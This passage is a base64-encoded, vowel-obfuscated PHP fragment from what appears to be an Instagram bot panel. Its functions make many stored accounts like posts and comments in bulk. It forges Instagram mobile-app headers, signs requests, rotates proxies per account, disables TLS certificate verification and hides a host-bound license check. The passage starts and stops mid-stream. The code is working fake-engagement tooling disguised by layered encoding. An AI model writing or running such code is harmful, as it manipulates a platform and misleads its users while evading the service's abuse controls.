R0cjQ1ZFVzNXJzDQogICAgICAgICAgICApOw0KICAgICAgICB9DQoNCiAgICAgICAgZjNuY3Q0Mm4gbDRrNSgkbTVkNDFJRCwgJG01ZDQxQzJkNSkgew0KDQogICAgICAgICAgICAkdDJ0MWxTM2NjNXNzQzIzbnQgPSAwOw0KICAgICAgICAgICAgJHRyNDVkVXM1cnMgICAgICAgID0gMXJyMXkoKTsNCiAgICAgICAgICAgICRyMmxsNG5nQzNybCAgICAgICA9IG41dyBSMmxsNG5nQzNybCgpOw0KICAgICAgICAgICAgJDFyck01ZDQxSUQgICAgICAgID0gNXhwbDJkNSgiXyIsICRtNWQ0MUlEKTsNCiAgICAgICAgICAgICRtNWQ0MUlEQjVmMnI1ciAgICA9ICQxcnJNNWQ0MUlEWzBdOw0KICAgICAgICAgICAgZjJyNTFjaCgkdGg0cy0+M3M1cnMgMXMgJDNzNXIpIHsNCiAgICAgICAgICAgICAgICA0ZigkM3M1clsiZDF0MSJdWyI0c1c1YkMyMms0NSJdID09IDYpIHsNCiAgICAgICAgICAgICAgICAgICAgLyoqDQogICAgICAgICAgICAgICAgICAgICAqIEB2MXIgSW5zdDFncjFtVzViICQyYmpJbnN0MWdyMW1XNWINCiAgICAgICAgICAgICAgICAgICAgICovDQogICAgICAgICAgICAgICAgICAgICQyYmpJbnN0MWdyMW1XNWIgPSAkM3M1clsiMmJqNWN0Il07DQogICAgICAgICAgICAgICAgICAgICQyYmpEMXQxICAgICAgICAgPSAkMmJqSW5zdDFncjFtVzViLT5nNXREMXQxKCk7DQogICAgICAgICAgICAgICAgICAgICQzczVyQXNucyAgICAgICAgPSBVdDRsczo6ZzVuNXIxdDVBc25zKCQyYmpEMXQxW0lOU1RBV0VCX0FTTlNfS0VZXSk7DQoNCiAgICAgICAgICAgICAgICAgICAgJGg1MWQ1cnMgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgICAgICdSNWY1cjVyOiBodHRwczovL3d3dy40bnN0MWdyMW0uYzJtLzRuc3QxZ3IxbS8nLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0ROVDogNicsDQogICAgICAgICAgICAgICAgICAgICAgICAnT3I0ZzRuOiBodHRwczovL3d3dy40bnN0MWdyMW0uYzJtLycsDQogICAgICAgICAgICAgICAgICAgICAgICAnWC1DU1JGVDJrNW46ICcgLiB0cjRtKCQyYmpEMXQxWyJ0Mms1biJdKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdYLVI1cTM1c3Q1ZC1XNHRoOiBYTUxIdHRwUjVxMzVzdCcsDQogICAgICAgICAgICAgICAgICAgICAgICAnWC1JbnN0MWdyMW0tQUpBWDogNicsDQogICAgICAgICAgICAgICAgICAgICAgICAnQzJubjVjdDQybjogY2wyczUnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0MxY2g1LUMybnRyMmw6IG0xeC0xZzU9MCcsDQogICAgICAgICAgICAgICAgICAgICAgICAnQWNjNXB0OiAqLyonLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0FjYzVwdC1MMW5nMzFnNTogJyAuIEMybnN0MW50czo6QUNDRVBUX0xBTkdVQUdFDQogICAgICAgICAgICAgICAgICAgICk7DQoNCg0KICAgICAgICAgICAgICAgICAgICAkMnB0NDJucyA9IDFycjF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgICAgICA9PiA0c3M1dCgkMmJqRDF0MVsidzViXzNzNXJfMWc1bnQiXSkgPyAkMmJqRDF0MVsidzViXzNzNXJfMWc1bnQiXSA6ICJNMno0bGwxL2kuMCAoTTFjNG50MnNoOyBJbnQ1bCBNMWMgT1MgWCA2MF82YV82KSBBcHBsNVc1Yks0dC9lMGEuYS42dSAoS0hUTUwsIGw0azUgRzVjazIpIFY1cnM0Mm4vNjAuMC42IFMxZjFyNC9lMGEuYS42dSIsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IFRSVUUsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OID0+IFRSVUUsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1ZFUkJPU0UgICAgICAgID0+IEZBTFNFLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiBGQUxTRSwNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QgPT4gRkFMU0UsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX0VOQ09ESU5HICAgICAgID0+ICcnLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9DT09LSUUgICAgICAgICA9PiA0c3M1dCgkMmJqRDF0MVsidzViX2MyMms0NSJdKSA/ICQyYmpEMXQxWyJ3NWJfYzIyazQ1Il0gOiAiIg0KICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICA0ZigkM3M1ckFzbnNbMF0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICQycHQ0Mm5LNXkgICAgICAgICAgID0gVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSB1ID8gQ1VSTE9QVF9JTlRFUkZBQ0UgOiBDVVJMT1BUX1BST1hZOw0KICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybnNbJDJwdDQybks1eV0gPSAkM3M1ckFzbnNbMF07DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkM3M1ckFzbnNbNl0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuSzV5ICAgICAgICAgICA9IFcydzo6ZzV0KCIxeTFyL3ByMnh5U3QxdDNzIikgPT0gdSA/IENVUkxPUFRfSVBSRVNPTFZFIDogQ1VSTE9QVF9QUk9YWVVTRVJQV0Q7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybnNbJDJwdDQybks1eV0gPSAkM3M1ckFzbnNbNl07DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHIybGw0bmdDM3JsLT5wMnN0KEMybnN0MW50czo6V0VCX1VSTCAuICJ3NWIvbDRrNXMvIiAuICRtNWQ0MUlEQjVmMnI1ciAuICIvbDRrNS8iLCBOVUxMLCAkaDUxZDVycywgJDJwdDQybnMsICQzczVyWyJkMXQxIl0pOw0KDQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgLyoqDQogICAgICAgICAgICAgICAgICAgICAqIEB2MXIgSW5zdDFncjFtICQyYmpJbnN0MWdyMW0NCiAgICAgICAgICAgICAgICAgICAgICovDQogICAgICAgICAgICAgICAgICAgICQyYmpJbnN0MWdyMW0gPSAkM3M1clsiMmJqNWN0Il07DQogICAgICAgICAgICAgICAgICAgICQyYmpEMXQxICAgICAgPSAkMmJqSW5zdDFncjFtLT5nNXREMXQxKCk7DQogICAgICAgICAgICAgICAgICAgICQzczVyQXNucyAgICAgPSBVdDRsczo6ZzVuNXIxdDVBc25zKCQyYmpEMXQxW0lOU1RBV0VCX0FTTlNfS0VZXSk7DQoNCiAgICAgICAgICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICAgPT4gUzRnbjF0M3I1czo6ZzVuNXIxdDVVVUlEKFRSVUUpLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ18zNGQnICAgICAgICA9PiAkMmJqRDF0MVsiM3M1cm4xbTVfNGQiXSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyAgPT4gJDJiakQxdDFbInQyazVuIl0sDQogICAgICAgICAgICAgICAgICAgICAgICAnbTVkNDFfNGQnICAgID0+ICRtNWQ0MUlELA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3IxZDQyX3R5cDUnICA9PiAidzRmNC1uMm41IiwNCiAgICAgICAgICAgICAgICAgICAgICAgICdtMmQzbDVfbjFtNScgPT4gImY1NWRfdDRtNWw0bjUiLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2QnICAgICAgICAgICA9PiByMW5kKDAsIDYpDQogICAgICAgICAgICAgICAgICAgIF07DQogICAgICAgICAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzLCAxcnIxeSgiZCIpKTsNCiAgICAgICAgICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgICAgICAgICAkaDUxZDVycyA9IFsNCiAgICAgICAgICAgICAgICAgICAgICAgICdDMm5uNWN0NDJuOiBjbDJzNScsDQogICAgICAgICAgICAgICAgICAgICAgICAnQWNjNXB0OiAqLyonLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSUctQzFwMWI0bDR0NDVzOiAnIC4gQzJuc3QxbnRzOjpYX0lHX0MxcDFiNGw0dDQ1cywNCiAgICAgICAgICAgICAgICAgICAgICAgICdYLUlHLUFwcC1JRDogJyAuIEMybnN0MW50czo6RkFDRUJPT0tfQU5BTFlUSUNTX0FQUExJQ0FUSU9OX0lELA0KICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSUctQzJubjVjdDQybi1UeXA1OiAnIC4gQzJuc3QxbnRzOjpYX0lHX0Mybm41Y3Q0Mm5fVHlwNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdYLUlHLUMybm41Y3Q0Mm4tU3A1NWQ6ICcgLiBtdF9yMW5kKDYwMDAsIG83MDApIC4gJ2ticHMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVNwNTVkLUtCUFM6IC02LjAwMCcsDQogICAgICAgICAgICAgICAgICAgICAgICAnWC1JRy1CMW5kdzRkdGgtVDJ0MWxCeXQ1cy1COiAwJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdYLUlHLUIxbmR3NGR0aC1UMnQxbFQ0bTUtTVM6IDAnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSUctQUJSLUMybm41Y3Q0Mm4tU3A1NWQtS0JQUzogNmVhJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdYLUZCLUhUVFAtRW5nNG41OiAnIC4gQzJuc3QxbnRzOjpYX0ZCX0hUVFBfRW5nNG41LA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0FjYzVwdC1MMW5nMzFnNTogJyAuIEMybnN0MW50czo6QUNDRVBUX0xBTkdVQUdFDQogICAgICAgICAgICAgICAgICAgIF07DQogICAgICAgICAgICAgICAgICAgICQycHQ0Mm5zID0gMXJyMXkoDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1VTRVJBR0VOVCAgICAgID0+ICQyYmpEMXQxWyIzczVyXzFnNW50Il0sDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IFRSVUUsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OID0+IFRSVUUsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1ZFUkJPU0UgICAgICAgID0+IEZBTFNFLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiBGQUxTRSwNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QgPT4gRkFMU0UsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX0VOQ09ESU5HICAgICAgID0+ICcnLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9DT09LSUUgICAgICAgICA9PiAkMmJqRDF0MVsiYzIyazQ1Il0NCiAgICAgICAgICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgICAgICAgICA0ZigkM3M1ckFzbnNbMF0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICQycHQ0Mm5LNXkgICAgICAgICAgID0gVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSB1ID8gQ1VSTE9QVF9JTlRFUkZBQ0UgOiBDVVJMT1BUX1BST1hZOw0KICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybnNbJDJwdDQybks1eV0gPSAkM3M1ckFzbnNbMF07DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkM3M1ckFzbnNbNl0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuSzV5ICAgICAgICAgICA9IFcydzo6ZzV0KCIxeTFyL3ByMnh5U3QxdDNzIikgPT0gdSA/IENVUkxPUFRfSVBSRVNPTFZFIDogQ1VSTE9QVF9QUk9YWVVTRVJQV0Q7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybnNbJDJwdDQybks1eV0gPSAkM3M1ckFzbnNbNl07DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHIybGw0bmdDM3JsLT5wMnN0KEMybnN0MW50czo6QVBJX1VSTCAuICJtNWQ0MS8iIC4gJG01ZDQxSUQgLiAiL2w0azUvIiwgJHAyc3REMXQxLCAkaDUxZDVycywgJDJwdDQybnMsICQzczVyWyJkMXQxIl0pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KDQogICAgICAgICAgICAkcjJsbDRuZ0MzcmwtPnM1dEMxbGxiMWNrKGYzbmN0NDJuKFIybGw0bmdDM3JsUjVxMzVzdCAkcjVxMzVzdCwgUjJsbDRuZ0MzcmwgJHIybGw0bmdDM3JsKSAzczUgKCYkdHI0NWRVczVycywgJiR0MnQxbFMzY2M1c3NDMjNudCwgJiRsMmdEMXQxKSB7DQoNCg0KICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXIgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgIjNzNXJJRCIgICA9PiAkcjVxMzVzdC0+NGQ1bnQ0ZjQ1clAxcjFtc1siM3k1SUQiXSwNCiAgICAgICAgICAgICAgICAgICAgIjRuc3QxSUQiICA9PiAkcjVxMzVzdC0+NGQ1bnQ0ZjQ1clAxcjFtc1siNG5zdDFJRCJdLA0KICAgICAgICAgICAgICAgICAgICAiM3M1ck40Y2siID0+ICRyNXEzNXN0LT40ZDVudDRmNDVyUDFyMW1zWyJrM2xsMW40YzRBZDQiXSwNCiAgICAgICAgICAgICAgICAgICAgInN0MXQzcyIgICA9PiAibjEiDQogICAgICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgICAgICQ0c0VycjJyNWQgPSAkcjVxMzVzdC0+ZzV0UjVzcDJuczVFcnIycigpOw0KICAgICAgICAgICAgICAgIDRmKDVtcHR5KCQ0c0VycjJyNWQpKSB7DQogICAgICAgICAgICAgICAgICAgICRyNXNwMm5zNUluZjIgPSAkcjVxMzVzdC0+ZzV0UjVzcDJuczVJbmYyKCk7DQogICAgICAgICAgICAgICAgICAgIDRmKCRyNXNwMm5zNUluZjJbImh0dHBfYzJkNSJdID09IGEwMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGQybjVuUzJuM2MgPSBqczJuX2Q1YzJkNSgkcjVxMzVzdC0+ZzV0UjVzcDJuczVUNXh0KCksIFRSVUUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGQybjVuUzJuM2MpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihzdHJwMnMoJHI1cTM1c3QtPmc1dFI1c3AybnM1SDUxZDVycygpLCAiUzV0LUMyMms0NSIpICE9PSBGQUxTRSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKioNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogQHYxciBJbnN0MWdyMW0gJDJiag0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDJiaiA9ICR0aDRzLT4zczVyc1skcjVxMzVzdC0+NGQ1bnQ0ZjQ1clAxcjFtc1siNG5kNXgiXV1bIjJiajVjdCJdOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkMmJqLT4ycmcxbjR6NUMyMms0NXMoJHI1cTM1c3QtPmc1dFI1c3AybnM1SDUxZDVycygpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHI1cTM1c3QtPjRkNW50NGY0NXJQMXIxbXNbIjRzVzViQzIyazQ1Il0gPT0gNikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkZDJuNW5TMm4zY1sic3QxdDNzIl0gPT0gIjJrIikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHQydDFsUzNjYzVzc0MyM250Kys7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyWyJzdDF0M3MiXSA9ICJzM2NjNXNzIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbInN0MXQzcyJdID0gImYxNGwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGQybjVuUzJuM2NbInN0MXQzcyJdID09ICIyayIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0MnQxbFMzY2M1c3NDMjNudCsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRyNDVkVXM1clsic3QxdDNzIl0gPSAiczNjYzVzcyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyWyJzdDF0M3MiXSA9ICJmMTRsIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbIjRuZjIiXSA9ICRkMm41blMybjNjOw0KICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHRyNDVkVXM1clsic3QxdDNzIl0gPSAiZjE0bCI7DQogICAgICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyWyI0bmYyIl0gICA9ICRyNXNwMm5zNUluZjI7DQogICAgICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyWyJ0NXh0Il0gICA9ICRyNXEzNXN0LT5nNXRSNXNwMm5zNVQ1eHQoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRrMm50cjJsICAgICAgICAgICAgID0ganMybl9kNWMyZDUoJHI1cTM1c3QtPmc1dFI1c3AybnM1VDV4dCgpLCBUUlVFKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRrMm50cjJsWyJtNXNzMWc1Il0gPT0gImwyZzRuX3I1cTM0cjVkIiB8fCAkazJudHIybFsibTVzczFnNSJdID09ICJjaDFsbDVuZzVfcjVxMzRyNWQiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRyNDVkVXM1clsiZDNyM20iXSA9IDA7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHRyNDVkVXM1cnNbXSA9ICR0cjQ1ZFVzNXI7DQogICAgICAgICAgICAgICAgJHIybGw0bmdDM3JsLT5jbDUxckMybXBsNXQ1ZCgpOw0KICAgICAgICAgICAgICAgICRyMmxsNG5nQzNybC0+cHIzbjVQNW5kNG5nUjVxMzVzdFEzNTM1KCk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICRyMmxsNG5nQzNybC0+czV0UzRtM2x0MW41MjNzTDRtNHQoJHRoNHMtPnM0bTNsdDFuNXAyc3RzNHo1KTsNCg0KICAgICAgICAgICAgJHIybGw0bmdDM3JsLT41eDVjM3Q1KCk7DQoNCg0KICAgICAgICAgICAgcjV0M3JuIDFycjF5KA0KICAgICAgICAgICAgICAgICJ0MnQxbFMzY2M1c3NDMjNudCIgPT4gJHQydDFsUzNjYzVzc0MyM250LA0KICAgICAgICAgICAgICAgICIzczVycyIgICAgICAgICAgICAgPT4gJHRyNDVkVXM1cnMNCiAgICAgICAgICAgICk7DQogICAgICAgIH0NCg0KICAgICAgICBmM25jdDQybiBjMm1tNW50bDRrNSgkbTVkNDFJRCwgJGMybW01bnRJRCkgew0KCQkJDQoJCQkkczR0NSA9IHRyNG0oc3RyX3I1cGwxYzUoInd3dy4iLCAiIiwgJF9TRVJWRVJbIkhUVFBfSE9TVCJdKSk7DQogICAgICAgICAgICA0ZihXMnc6Omc1dCgicHIyajVjdC8xcDRUMms1biIpICE9IG1kaShzaDE2KGIxczVldV81bmMyZDUoY3J5cHQoJHM0dDUsICd6MXVxNnF1cTZxdTZ6enonKSkpKSkgew0KICAgICAgICAgICAgICAgIHI1dDNybiAxcnIxeSgiZDF0MSIgPT4gIkgxdDEiKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHQydDFsUzNjYzVzc0MyM250ID0gMDsNCiAgICAgICAgICAgICR0cjQ1ZFVzNXJzICAgICAgICA9IDFycjF5KCk7DQogICAgICAgICAgICAkcjJsbDRuZ0MzcmwgICAgICAgPSBuNXcgUjJsbDRuZ0MzcmwoKTsNCiAgICAgICAgICAgICQxcnJNNWQ0MUlEICAgICAgICA9IDV4cGwyZDUoIl8iLCAkbTVkNDFJRCk7DQogICAgICAgICAgICAkbTVkNDFJREI1ZjJyNXIgICAgPSAkMXJyTTVkNDFJRFswXTsNCiAgICAgICAgICAgIGYycjUxY2goJHRoNHMtPjNzNXJzIDFzICQzczVyKSB7DQogICAgICAgICAgICAgICAgLyoqDQogICAgICAgICAgICAgICAgICogQHYxciBJbnN0MWdyMW0gJDJiakluc3QxZ3IxbQ0KICAgICAgICAgICAgICAgICAqLw0KICAgICAgICAgICAgICAgICQyYmpJbnN0MWdyMW0gPSAkM3M1clsiMmJqNWN0Il07DQogICAgICAgICAgICAgICAgJDJiakQxdDEgICAgICA9ICQyYmpJbnN0MWdyMW0tPmc1dEQxdDEoKTsNCiAgICAgICAgICAgICAgICAkM3M1ckFzbnMgICAgID0gVXQ0bHM6Omc1bjVyMXQ1QXNucygkMmJqRDF0MVtJTlNUQVdFQl9BU05TX0tFWV0pOw0KDQogICAgICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICQyYmpEMXQxWyIzMzRkIl0sDQogICAgICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICA9PiAkMmJqRDF0MVsiM3M1cm4xbTVfNGQiXSwNCiAgICAgICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nID0+ICQyYmpEMXQxWyJ0Mms1biJdLA0KICAgICAgICAgICAgICAgICAgICAnbTVkNDFfNGQnICAgPT4gJG01ZDQxSURCNWYycjVyDQogICAgICAgICAgICAgICAgXTsNCg0KICAgICAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICAgICAgJGg1MWQ1cnMgPSBbDQogICAgICAgICAgICAgICAgICAgICdDMm5uNWN0NDJuOiBjbDJzNScsDQogICAgICAgICAgICAgICAgICAgICdBY2M1cHQ6ICovKicsDQogICAgICAgICAgICAgICAgICAgICdYLUlHLUMxcDFiNGw0dDQ1czogJyAuIEMybnN0MW50czo6WF9JR19DMXAxYjRsNHQ0NXMsDQogICAgICAgICAgICAgICAgICAgICdYLUlHLUFwcC1JRDogJyAuIEMybnN0MW50czo6RkFDRUJPT0tfQU5BTFlUSUNTX0FQUExJQ0FUSU9OX0lELA0KICAgICAgICAgICAgICAgICAgICAnWC1JRy1DMm5uNWN0NDJuLVR5cDU6ICcgLiBDMm5zdDFudHM6OlhfSUdfQzJubjVjdDQybl9UeXA1LA0KICAgICAgICAgICAgICAgICAgICAnWC1JRy1DMm5uNWN0NDJuLVNwNTVkOiAnIC4gbXRfcjFuZCg2MDAwLCBvNzAwKSAuICdrYnBzJywNCiAgICAgICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVNwNTVkLUtCUFM6IC02LjAwMCcsDQogICAgICAgICAgICAgICAgICAgICdYLUlHLUIxbmR3NGR0aC1UMnQxbEJ5dDVzLUI6IDAnLA0KICAgICAgICAgICAgICAgICAgICAnWC1JRy1CMW5kdzRkdGgtVDJ0MWxUNG01LU1TOiAwJywNCiAgICAgICAgICAgICAgICAgICAgJ1gtSUctQUJSLUMybm41Y3Q0Mm4tU3A1NWQtS0JQUzogNmVhJywNCiAgICAgICAgICAgICAgICAgICAgJ1gtRkItSFRUUC1Fbmc0bjU6ICcgLiBDMm5zdDFudHM6OlhfRkJfSFRUUF9Fbmc0bjUsDQogICAgICAgICAgICAgICAgICAgICdBY2M1cHQtTDFuZzMxZzU6ICcgLiBDMm5zdDFudHM6OkFDQ0VQVF9MQU5HVUFHRQ0KICAgICAgICAgICAgICAgIF07DQogICAgICAgICAgICAgICAgJDJwdDQybnMgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgICAgICA9PiAkMmJqRDF0MVsiM3M1cl8xZzVudCJdLA0KICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IFRSVUUsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT4gVFJVRSwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9WRVJCT1NFICAgICAgICA9PiBGQUxTRSwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiBGQUxTRSwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCA9PiBGQUxTRSwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9FTkNPRElORyAgICAgICA9PiAnJywNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9DT09LSUUgICAgICAgICA9PiAkMmJqRDF0MVsiYzIyazQ1Il0NCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIDRmKCQzczVyQXNuc1swXSkgew0KICAgICAgICAgICAgICAgICAgICAkMnB0NDJuSzV5ICAgICAgICAgICA9IFcydzo6ZzV0KCIxeTFyL3ByMnh5U3QxdDNzIikgPT0gdSA/IENVUkxPUFRfSU5URVJGQUNFIDogQ1VSTE9QVF9QUk9YWTsNCiAgICAgICAgICAgICAgICAgICAgJDJwdDQybnNbJDJwdDQybks1eV0gPSAkM3M1ckFzbnNbMF07DQogICAgICAgICAgICAgICAgICAgIDRmKCQzczVyQXNuc1s2XSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybks1eSAgICAgICAgICAgPSBXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpID09IHUgPyBDVVJMT1BUX0lQUkVTT0xWRSA6IENVUkxPUFRfUFJPWFlVU0VSUFdEOw0KICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybnNbJDJwdDQybks1eV0gPSAkM3M1ckFzbnNbNl07DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHIybGw0bmdDM3JsLT5wMnN0KEMybnN0MW50czo6QVBJX1VSTCAuICJtNWQ0MS8iIC4gJGMybW01bnRJRCAuICIvYzJtbTVudF9sNGs1LyIsICRwMnN0RDF0MSwgJGg1MWQ1cnMsICQycHQ0Mm5zLCAkM3M1clsiZDF0MSJdKTsNCg0KICAgICAgICAgICAgfQ0KDQoNCiAgICAgICAgICAgICRyMmxsNG5nQzNybC0+czV0QzFsbGIxY2soZjNuY3Q0Mm4oUjJsbDRuZ0MzcmxSNXEzNXN0ICRyNXEzNXN0LCBSMmxsNG5nQzNybCAkcjJsbDRuZ0MzcmwpIDNzNSAoJiR0cjQ1ZFVzNXJzLCAmJHQydDFsUzNjYzVzc0MyM250LCAmJGwyZ0QxdDEpIHsNCg0KDQogICAgICAgICAgICAgICAgJHRyNDVkVXM1ciA9IDFycjF5KA0KICAgICAgICAgICAgICAgICAgICAiM3M1cklEIiAgID0+ICRyNXEzNXN0LT40ZDVudDRmNDVyUDFyMW1zWyIzeTVJRCJdLA0KICAgICAgICAgICAgICAgICAgICAi